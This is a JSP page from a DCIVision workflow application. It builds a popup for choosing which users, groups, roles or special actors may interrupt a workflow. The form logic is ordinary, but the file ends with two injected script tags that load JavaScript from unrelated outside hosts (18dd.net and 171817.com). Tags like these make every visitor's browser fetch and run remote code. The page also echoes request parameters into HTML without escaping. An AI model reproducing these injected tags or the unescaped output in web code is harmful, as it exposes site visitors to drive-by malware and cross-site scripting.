<%
/*
 * @(#)EditInterruptWorkflowRecordOwner.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditInterruptWorkflowRecordOwner.jsp

  This page is used to assign owner that can interrupt the workflow

    @author           Dick Xie
    @company          DCIVision Limited
    @creation date    3/1/2005
    @version          $Revision: 1.13.26.7 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>
<%
  if(Utility.isEmpty(maintWorkflowProgressForm.getActionType())){
    maintWorkflowProgressForm.setActionType(WorkflowStep.ACTION_TYPE_TASK_TO_DO);
  }
  Integer STAFF_HIERARCHY_LEVEL = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.STAFF_HIERARCHY_LEVEL);

  String[][]  FILTER_BY_MAP = new String[2+STAFF_HIERARCHY_LEVEL.intValue()][2];

  FILTER_BY_MAP[0][0] = "setup.label.subject_type_G";
  FILTER_BY_MAP[0][1] = "-1";
  FILTER_BY_MAP[1][0] = "setup.label.subject_type_R";
  FILTER_BY_MAP[1][1] = "-2";
  for (int i=2; i< STAFF_HIERARCHY_LEVEL.intValue()+2; i++){
    FILTER_BY_MAP[i][0] = "staff.label.hierarchy_level_"+String.valueOf(i-1);
    FILTER_BY_MAP[i][1] = String.valueOf(i-1);
  }

  String[][] ACTOR_TYPE_MAP = (String[][])request.getAttribute("ACTOR_TYPE_MAP");

  String workflowCategoryID = request.getAttribute("workflowCategoryID")!=null?(String)request.getAttribute("workflowCategoryID"):null;

  if (workflowCategoryID==null && request.getParameter("workflowCategoryID")!=null) {
    workflowCategoryID=request.getParameter("workflowCategoryID");
  }
%>

<script language="Javascript">
<!--

  function CustOpSave() {
    var parent = window.opener;
    var wfProgressIDs = "";
    var progressID = "";
    var progressIDArray;
    var selected = true;


    // get value from permission to original form
    var chkGrp;
    var frm;
    var result;
    var hasSelected;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }

    unselectList('progressUser');
    unselectList('progressGroup');
    unselectList('progressRole');
    unselectList('actorTypes');

    for (var i=0; i<allPermissionAry.length; i++) {
      if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
        chkGrp = 'progressUser';
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
        chkGrp = 'progressGroup';
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
        chkGrp = 'progressRole';
      } else {
        chkGrp = 'actorTypes';
      }
      var elm = eval("frm."+chkGrp);
      if (elm.length) {
        for(j=0;j<elm.length;j++){
          if(elm[j].value == allPermissionAry[i][0]){
            elm[j].checked = true;
          }
        }
      } else if (elm) {
        if(elm.value == allPermissionAry[i][0]){
          elm.checked = true;
        }
      }
    }
    // end get

    if(frm.progressUser ){
      if(!frm.progressUser.length){
       progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_USER%>'+'_'+frm.progressUser.value;
       if(frm.progressUser.checked && wfProgressIDs.indexOf(progressID) <0 ){
         if(wfProgressIDs != "") {
            wfProgressIDs += ";";
         }
         wfProgressIDs += progressID;
       }
     }
      for (var i=0; i<frm.progressUser.length; i++){
        progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_USER%>'+'_'+frm.progressUser[i].value;
        if(frm.progressUser[i].checked && (";"+wfProgressIDs+";").indexOf(";"+progressID+";") <0 ){
          if(wfProgressIDs != "") {
            wfProgressIDs += ";";
          }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.progressGroup ){
      if(!frm.progressGroup.length){
       progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP%>'+'_'+frm.progressGroup.value;
       if(frm.progressGroup.checked && wfProgressIDs.indexOf(progressID) <0 ){
         if(wfProgressIDs != "") {
            wfProgressIDs += ";";
         }
         wfProgressIDs += progressID;
       }
     }
      for (var i=0; i<frm.progressGroup.length; i++){
        progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP%>'+'_'+frm.progressGroup[i].value;

        if(frm.progressGroup[i].checked && (";"+wfProgressIDs+";").indexOf(";"+progressID+";") <0 ){
        if(wfProgressIDs != "") {
          wfProgressIDs += ";";
        }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.progressRole ){
      if(!frm.progressRole.length){
       progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE%>'+'_'+frm.progressRole.value;
       if(frm.progressRole.checked && wfProgressIDs.indexOf(progressID) <0 ){
         if(wfProgressIDs != "") {
            wfProgressIDs += ";";
         }
         wfProgressIDs += progressID;
       }
     }
      for (var i=0; i<frm.progressRole.length; i++){
        progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE%>'+'_'+frm.progressRole[i].value;

        if(frm.progressRole[i].checked && (";"+wfProgressIDs+";").indexOf(";"+progressID+";") <0 ){
        if(wfProgressIDs != "") {
          wfProgressIDs += ";";
        }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.actorTypes ){
      for (var i=0; i<frm.actorTypes.length; i++){
        if(frm.actorTypes[i].checked ){
        if(wfProgressIDs != "") {
          wfProgressIDs += ";";
        }
          if ('<%=MtmWorkflowStepUserActor.ACTOR_TYPE_SUBMITTER%>'==frm.actorTypes[i].value) {
            progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_SUBMITTER%>'+'_'+'0';
          } else if('<%=MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO%>'==frm.actorTypes[i].value) {
            progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO%>'+'_'+'0';
          } else if('<%=MtmWorkflowStepUserActor.ACTOR_TYPE_PREVIOUS_TASK_ACTION_TAKER%>'==frm.actorTypes[i].value) {
            progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_PREVIOUS_TASK_ACTION_TAKER%>'+'_'+'0';
          } else if('<%=MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO_OF_PREVIOUS_TASK_ACTION_TAKER%>'==frm.actorTypes[i].value) {
            progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_REPORT_TO_OF_PREVIOUS_TASK_ACTION_TAKER%>'+'_'+'0';
          } else if('<%=MtmWorkflowStepUserActor.ACTOR_TYPE_EVERYONE%>'==frm.actorTypes[i].value) {
            progressID = '<%=MtmWorkflowStepUserActor.ACTOR_TYPE_EVERYONE%>'+'_'+'0';
          } else {
            progressID = frm.actorTypes[i].value;
          }
          wfProgressIDs += progressID;
        }
      }
    }
    if(wfProgressIDs == ""){
      alert("<bean:message key='workflow.message.interrupt_request_submitter_is_required'/>");
      return false;
    }
    frm.workflowProgressID.value=wfProgressIDs;
   
    parent.PutInterruptWorkflowSubmitter(wfProgressIDs);

    parent.focus();
    window.close();
  }

  function selectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = true;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = true;
      }
    }
    return false;
  }

  function unselectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = false;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = false;
      }
    }
    return false;
  }

  function disableSelectList(listName, isDisable) {
  var obj = eval("document.maintWorkflowProgressForm."+listName);
  if (!obj){
  } else if (obj.value) {
    obj.checked = false;
    obj.disabled = isDisable;
  } else {
    for (var i=0; i<obj.length; i++) {
      obj[i].checked = false;
      obj[i].disabled = isDisable;
    }
  }
  return false;
}

  function disableOtherType(elm) {
    var checkboxGrp = elm.form.elements[elm.name];
    var frm = document.maintWorkflowProgressForm;
    if (elm.checked) { //disable other
//      disableSelectList('progressUser', true);
//      disableSelectList('progressGroup', true);
//      disableSelectList('progressRole', true);
      for (var i=0; i<checkboxGrp.length; i++) {
        if (!checkboxGrp[i].checked) {
           checkboxGrp[i].disabled = true;
        }
      }

    } else { //enable other
      for (var i=0; i<checkboxGrp.length; i++) {
        checkboxGrp[i].disabled = false;
      }
//      disableSelectList('progressUser', false);
//      disableSelectList('progressGroup', false);
//      disableSelectList('progressRole', false);
    }
  }
-->
</script>
<html:form action="workflow/MaintInterruptWorkflowRecordUser" styleClass="form-style-2">
<%
/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);

   List userList = (List) request.getAttribute("userList");
   List userGroupList = (List) request.getAttribute("groupList");
   List userRoleList = (List) request.getAttribute("roleList");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  String navMode = request.getParameter("navMode");
  String functionType = "workflow.label.assign_user_for_next_task";
  String lyrBgColor= "#FFFFFF";
  if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    lyrBgColor = "#EEEEEE";
  }
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property="workflowRecordID"/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<%if(workflowCategoryID!=null){%>
<input type=hidden name="workflowCategoryID" value="<%=workflowCategoryID%>">
<%}%>
<input type=hidden name="workflowProgressID" value="">
<input type=hidden name="oldStatus" value='<%=(String)request.getAttribute("oldStatus")%>'>

<!-- Page Title Section -->
<div style="width:550px;border:none;">
<layout:popupTitle titleKey ="workflow.label.select_sub_workflow_submitter"/>
<div class="tabContainer">
  <div id="basicTab" class="tabContent" style="display:block;">
  <table width="550">
  <tr>
    <td><html:img src='LayoutSpacer.gif'  width='0' height='5'/></td>
  </tr>
  <layout:sectionHeader name="setup.label.user_permission_list" mandatory="false"/>
<div id="dummy" style="display:none">

        <%if(GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode())){%>

        <%}else{%>

            <bean:message key='common.label.select'/>
            <a href="javascript://" onClick="return selectList('progressUser');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressUser');"><bean:message key='common.label.none'/></a>
            <bean:message key='setup.label.user_accounts'/>

            <bean:message key='common.label.select'/>

            <a href="javascript://" onClick="return selectList('progressGroup');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressGroup');"><bean:message key='common.label.none'/></a>

            <bean:message key='setup.label.user_groups'/>

            <bean:message key='common.label.select'/>

            <a href="javascript://" onClick="return selectList('progressRole');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressRole');"><bean:message key='common.label.none'/></a>

            <bean:message key='setup.label.user_roles'/>

            <bean:message key='common.label.select'/> <a href="javascript://" onClick="return selectList('actorTypes');"><bean:message key='common.label.all'/></a>
            /<a href="javascript://" onClick="return unselectList('actorTypes');"><bean:message key='common.label.none'/></a> <bean:message key='setup.label.special_actor'/>
            &nbsp;

        <%}%>


            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userList.size(); i++) {
                UserRecord tmpUser = (UserRecord) userList.get(i);
                String checkboxOptionValue = (tmpUser.getID()).toString();
            %>
              <nobr><html:checkbox property='progressUser' value='<%=checkboxOptionValue%>'><%=tmpUser.getFullName()%></html:checkbox></nobr><br>

            <%}%>
            </div>

            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userGroupList.size(); i++) {
                UserGroup tmpGroup = (UserGroup) userGroupList.get(i);
                String checkboxOptionValue = (tmpGroup.getID()).toString();
            %>

              <nobr><html:checkbox property='progressGroup' value='<%=checkboxOptionValue%>'><%=tmpGroup.getGroupName()%></html:checkbox></nobr><br>

            <%}%>
            </div>

            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userRoleList.size(); i++) {
                UserRole tmpRole = (UserRole) userRoleList.get(i);
                String checkboxOptionValue = (tmpRole.getID()).toString();
            %>

           <nobr><html:checkbox property='progressRole' value='<%=checkboxOptionValue%>'><%=tmpRole.getRoleName()%></html:checkbox></nobr><br>

            <%}%>
            </div>

           <html:checkboxOptions stringArray='<%=ACTOR_TYPE_MAP%>' name='actorTypes' nameValue='<%=maintWorkflowProgressForm.getActorTypes()%>' hasSelect='false' convertLabel='false' width='170' height='160'/>
</div>

  <tr> 
    <td style="padding-left:20px;">
      <wfm:permissionSetup enableOthers="<%=!WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowProgressForm.getActionType())%>"
        actorListName="actorTypes" userListName="progressUser" groupListName="progressGroup" roleListName="progressRole" showPermissionTitle="false"/>
    </td>
  </tr>
  <tr>
    <td align="center"><html:img src='LayoutSpacer.gif' height='8' /></td>
  </tr>
</table>
</div>
</div>

 <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.confirm" onClick="return CustOpSave()"/>
    <%}%>
    <%
      if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
        if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    <%  }
      }
    %>
    </div>
</div>
</div>
</html:form>

<script>
function INIT(){
  initVariable(window.document.maintWorkflowProgressForm);
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>